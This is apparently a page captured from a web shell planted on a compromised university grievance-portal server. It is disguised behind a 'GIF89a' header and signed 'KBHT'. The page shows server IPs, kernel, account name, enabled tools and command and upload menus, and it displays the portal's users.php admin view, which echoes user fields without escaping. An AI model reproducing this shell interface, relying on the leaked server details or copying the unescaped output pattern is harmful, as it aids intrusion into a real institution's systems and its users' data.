GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.219.176.215
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/../admission/../grievance/application/views/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/../admission/../grievance/application/views/users.php
<!DOCTYPE HTML>
<html>
    <head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Grievance Redressal Portal: All Users Report</title>
        <link rel="stylesheet" href="<?php echo base_url("assets/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/css/jquery.dataTables.min.css"); ?>" type='text/css' />
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap" >
        <link rel="image icon" href="<?php echo $this->session->userdata('inst_logo_url');?>">
        <script src="<?php echo base_url("assets/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/js/jquery.dataTables.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body class="cbp-spmenu-push">
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item">User Mgmnt.</li>
                            <li class="breadcrumb-item active" aria-current="page">Users</li>
                        </ol>
                    </nav>

                    <section class="data-tables">
                        <div class="card card_border p-4">
                            <h3 class="card__title">All Users</h3><br>
                            <div class="table-responsive">
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("Users/createNewGCellMgmtMember"); ?>'" tooltip="Add New G-Cell/Mgmnt. User"><i class="fa fa-plus"></i> Add New G-Cell/Mgmnt. User</button><br><br>
                                <table id="allUsers" class="bootstrap-datatable table-striped table-hover" style="width:100%">
                                    <thead>
                                        <tr>
                                            <th>Sr. No</th>
                                            <th>UId</th>
                                            <th>Full Name</th>
                                            <th>Gender</th>
                                            <th>Email</th>
                                            <th>Mobile</th>
                                            <th>User Type</th>
                                            <th>Approval Status</th>
                                            <th>Login Status</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tfoot>
                                        <tr>
                                            <th>Sr. No</th>
                                            <th>UId</th>
                                            <th>Full Name</th>
                                            <th>Gender</th>
                                            <th>Email</th>
                                            <th>Mobile</th>
                                            <th>User Type</th>
                                            <th>Approval Status</th>
                                            <th>Login Status</th>
                                            <th>Action</th>
                                        </tr>
                                    </tfoot>
                                    <tbody>
                                        <?php
                                        for ($i = 0; $i < sizeof($non_del_users); $i++) {
                                            $record = $non_del_users[$i];
                                            ?>
                                            <tr>
                                                <td><?php echo ($i + 1); ?></td>
                                                <td><?php echo ($record->cau_adm_reg_roll_no == "" || $record->cau_adm_reg_roll_no == NULL) ? "NA" : $record->cau_adm_reg_roll_no; ?></td>
                                                <td><?php echo $record->cau_first_name . " " . $record->cau_last_name; ?></td>
                                                <td>
                                                    <?php
                                                    $gender = "";
                                                    if ($record->cau_gender == "M") {
                                                        $gender = "Male <i class='fa fa-male'></i>";
                                                    } else {
                                                        if ($record->cau_gender == "F") {
                                                            $gender = "Female <i class='fa fa-female'></i>";
                                                        } else {
                                                            $gender = "Other <i class='fa fa-transgender'></i>";
                                                        }
                                                    }
                                                    echo $gender;
                                                    ?>
                                                </td>
                                                <td><?php echo $record->cau_email; ?></td>
                                                <td><?php echo $record->cau_mobile; ?></td>
                                                <td>
                                                    <?php
                                                    if ($record->cau_user_type_flag == "S" && $record->cau_user_role_flag == "NA") {
                                                        echo "Student";
                                                    } else if ($record->cau_user_type_flag == "P" && $record->cau_user_role_flag == "NA") {
                                                        echo "Parent";
                                                    } else if ($record->cau_user_type_flag == "N" && $record->cau_user_role_flag == "NA") {
                                                        echo "Non-Teaching";
                                                    } else if ($record->cau_user_type_flag == "F" && $record->cau_user_role_flag == "NA") {
                                                        echo "Teaching/Faculty";
                                                    } else if ($record->cau_user_type_flag == "NA" && $record->cau_user_role_flag == "GCM") {
                                                        echo "G-Cell Member";
                                                    } else if ($record->cau_user_type_flag == "NA" && $record->cau_user_role_flag == "MGMT") {
                                                        echo "Mgmnt. Member";
                                                    } else {
                                                        echo $record->cau_user_type_flag;
                                                    }
                                                    ?>
                                                </td>
                                                <td>
                                                    <?php
                                                    if ($record->cau_delete_status == "F") {
                                                        if ($record->cau_approve_status == "T") {
                                                            echo "<span class='badge badge-success'>Approved</span>";
                                                        } else {
                                                            echo "<span class='badge badge-danger'>Pending</span>";
                                                        }
                                                    } else {
                                                        echo "<span class='badge badge-danger'>Deleted</span>";
                                                    }
                                                    ?>
                                                </td>
                                                <td>
                                                    <?php
                                                    if ($record->cau_delete_status == "F") {
                                                        if ($record->cau_block_status == "F") {
                                                            echo "<span class='badge badge-success'>Active</span>";
                                                        } else {
                                                            echo "<span class='badge badge-danger'>Blocked</span>";
                                                        }
                                                    } else {
                                                        echo "<span class='badge badge-danger'>Deleted</span>";
                                                    }
                                                    ?>
                                                </td>
                                                <td>
                                                    <?php
                                                    if ($record->cau_delete_status == "F") {
                                                        if ($record->cau_block_status == "F") {
                                                            ?>
                                                            <i class="fa fa-ban" style="color:#FF0000;cursor: pointer;" title="Block This Account" onClick="window.location.href = '<?php echo site_url('Users/toggleUserBlockStatus/' . $record->cau_id . '/T') ?>'"></i>
                                                        <?php } else { ?>
                                                            <i class="fa fa-check-circle" style="color:#297534;cursor: pointer;" title="Unblock This Account" onClick="window.location.href = '<?php echo site_url('Users/toggleUserBlockStatus/' . $record->cau_id . '/F') ?>'"></i> 
                                                        <?php }
                                                        ?>
                                                        <?php
                                                        if ($record->cau_approve_status == "T") {
                                                            ?>
                                                            <i class="fa fa-times-circle" style="color:#FF0000;cursor: pointer;" title="Decline Approval Of This Account" onClick="window.location.href = '<?php echo site_url('Users/toggleUserApproveStatus/' . $record->cau_id . '/F') ?>'"></i>
                                                        <?php } else { ?>
                                                            <i class="fa fa-check-square-o" style="color:#297534;cursor: pointer;" title="Approve This Account" onClick="window.location.href = '<?php echo site_url('Users/toggleUserApproveStatus/' . $record->cau_id . '/T') ?>'"></i> 
                                                        <?php }
                                                        ?>
                                                        <?php
                                                        if ($record->cau_user_role_flag == "GCM" || $record->cau_user_role_flag == "MGMT") {
                                                            ?>
                                                            <i class="fa fa-edit" style="color:#002166;cursor: pointer;" title="Edit This Account" onClick="window.location.href = '<?php echo site_url('Users/editUserAccount/' . $record->cau_id) ?>'"></i>
                                                        <?php } ?>
                                                        <i class="fa fa-key" style="color:#002166;cursor: pointer;" title="Reset Password" onClick="resetPassword(<?php echo $record->cau_id; ?>);"></i> 
                                                        <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete This Account" onClick="deleteUser(<?php echo $record->cau_id; ?>);"></i> 
                                                        <?php
                                                    } else {
                                                        echo "<i style='color:#FF0000' class='fa fa-times'></i> User Deleted On " . date("d-m-Y", strtotime($record->cau_last_updated_on));
                                                    }
                                                    ?>
                                                    <i class="fa fa-info-circle" style="color:#002166;cursor: pointer;" title="More Info" onClick="getUserInfo(<?php echo $record->cau_id; ?>, '<?php echo $record->cau_user_type_flag; ?>', '<?php echo $record->cau_user_role_flag; ?>');"></i> 
                                                </td>
                                            </tr>
                                            <?php
                                        }
                                        ?>
                                    </tbody>
                                </table>
                            </div>
                            <small class="form-text text-muted">UId Denotes Emp. Code/No. For Teaching And Non Teaching Staff. For Students It Denotes His/Her Reg./Admsn./Roll No. While For Parent's Account It Shows Their Ward's Reg./Admsn./Roll No.</small>
                        </div>
                    </section>
                </div>
            </div>
        </section>

        <script>
            $(document).ready(function () {
                /*Removing Active Class From Current Page Menu*/
                document.getElementById("dashboard").classList.remove("active");
                document.getElementById("dataMgmnt").classList.remove("active");
                document.getElementById("changePassword").classList.remove("active");
                document.getElementById("reports").classList.remove("active");
                /*Adding Active Class To Current Page Menu*/
                document.getElementById("userMgmnt").classList.add("active");
                $("#allUsers").DataTable({responsive: true});
            });
            
            function resetPassword(user_id){
                if (confirm("Are You Sure To Reset This User's Account?")) {
                    window.location.href = "<?php echo site_url('Users/resetUserPassword/'); ?>" + user_id;
                }
            }

            function deleteUser(user_id) {
                if (confirm("Are You Sure To Delete This User's Account?")) {
                    window.location.href = "<?php echo site_url('Users/deleteUser/'); ?>" + user_id;
                }
            }

            function getUserInfo(cau_id, cau_type, cau_role) {
                event.preventDefault();
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                var type = '';
                if ((cau_type === 'S' || cau_type === 'P' || cau_type === 'F' || cau_type === 'N') && cau_role === 'NA') {
                    type = 'typeWise';
                } else if (cau_type === 'NA' && (cau_role === 'GCM' || cau_role === 'MGMT')) {
                    type = 'roleWise';
                } else {
                    type = 'roleWise';
                }
                $.ajax({
                    url: '<?php echo site_url('Users/getUserFulllInfo/'); ?>',
                    data: {cau_id: cau_id, type: type, csrf_token: csrfHash},
                    type: 'POST',
                    success: function (result) {
                        $(".se-pre-con").fadeOut("slow");
                        var thisUserInfo = JSON.parse(result);
                        csrfHash = thisUserInfo.csrfHash;
                        $("#user_img").prop("src", thisUserInfo.cau_image_url);
                        $("#user_regEmpAdmsnNo").html(thisUserInfo.cau_adm_emp_id);
                        $("#user_firstname").html(thisUserInfo.cau_first_name);
                        $("#user_lastname").html(thisUserInfo.cau_last_name);
                        $("#user_email").html(thisUserInfo.cau_email);
                        $("#user_mobile").html(thisUserInfo.cau_mobile);
                        $("#user_gender").html(thisUserInfo.cau_gender);
                        $("#user_mail_verify").html(thisUserInfo.cau_email_verify_status);
                        $("#user_mobile_verify").html(thisUserInfo.cau_mobile_verify_status);
                        $("#user_alt_mobile").html(thisUserInfo.cau_alt_mobile);
                        $("#user_alt_email").html(thisUserInfo.cau_alt_email);
                        $("#user_course").html(thisUserInfo.cau_course_name);
                        $("#user_course_complete_on").html(thisUserInfo.cau_course_complete_on);
                        $("#user_type").html(thisUserInfo.cau_user_type_flag);
                        $("#user_role").html(thisUserInfo.cau_user_role_flag);
                        $("#user_parent_of").html(thisUserInfo.cau_parent_of);
                        $("#user_allotted_gcatgs").html(thisUserInfo.cau_allotted_gcats);
                        $("#user_updated_by_ca").html(thisUserInfo.cau_ca_operation_on);
                        $("#user_delete_status").html(thisUserInfo.cau_delete_status);
                        $("#user_block_status").html(thisUserInfo.cau_block_status);
                        $("#user_approve_status").html(thisUserInfo.cau_approve_status);
                        $("#userDetailsModal").modal('show');
                    }
                });
            }
        </script>
        <?php $this->load->view("footer"); ?>
        <!-- User Details Modal Starts -->
        <div class="modal fade" id="userDetailsModal" role="dialog" data-backdrop="static" data-keyboard="false">
            <div class="modal-dialog modal-lg">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title">User Info</h4>
                        <button type="button" class="close" data-dismiss="modal">&times;</button>
                    </div>
                    <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;">
                        <fieldset>
                            <div class="row">
                                <div class="col-sm-12">
                                    <center>
                                        <img src="" id="user_img" width="100px"><br>
                                        <b><span id="user_regEmpAdmsnNo"></span></b>
                                    </center>
                                </div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>First Name</b></div>
                                <div class="col-sm-3"><span id="user_firstname"></span></div>
                                <div class="col-sm-3"><b>Last Name</b></div>
                                <div class="col-sm-3"><span id="user_lastname"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Email</b></div>
                                <div class="col-sm-9"><span id="user_email"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Mobile</b></div>
                                <div class="col-sm-3"><span id="user_mobile"></span></div>
                                <div class="col-sm-3"><b>Gender</b></div>
                                <div class="col-sm-3"><span id="user_gender"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Email Verified</b></div>
                                <div class="col-sm-3"><span id="user_mail_verify"></span></div>
                                <div class="col-sm-3"><b>Mobile Verified</b></div>
                                <div class="col-sm-3"><span id="user_mobile_verify"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Alt. Mobile</b></div>
                                <div class="col-sm-3"><span id="user_alt_mobile"></span></div>
                                <div class="col-sm-3"><b>Alt. Email</b></div>
                                <div class="col-sm-3"><span id="user_alt_email"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Course</b></div>
                                <div class="col-sm-3"><span id="user_course"></span></div>
                                <div class="col-sm-3"><b>Completed On</b></div>
                                <div class="col-sm-3"><span id="user_course_complete_on"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>User Type</b></div>
                                <div class="col-sm-3"><span id="user_type"></span></div>
                                <div class="col-sm-3"><b>User Role</b></div>
                                <div class="col-sm-3"><span id="user_role"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Parent Of</b></div>
                                <div class="col-sm-9"><span id="user_parent_of"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Allotted Grvnc. Catgs.</b></div>
                                <div class="col-sm-9"><span id="user_allotted_gcatgs"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Last CA Update On</b></div>
                                <div class="col-sm-9"><span id="user_updated_by_ca"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Approve Status</b></div>
                                <div class="col-sm-3"><span id="user_approve_status"></span></div>
                                <div class="col-sm-3"><b>Block Status</b></div>
                                <div class="col-sm-3"><span id="user_block_status"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Delete Status</b></div>
                                <div class="col-sm-3"><span id="user_delete_status"></span></div>
                            </div>
                        </fieldset>
                    </div>    
                    <div class="modal-footer">
                        <button class="btn btn-danger" data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!-- User Details Modal Ends -->
    </body>
</html>

KBHT - 2023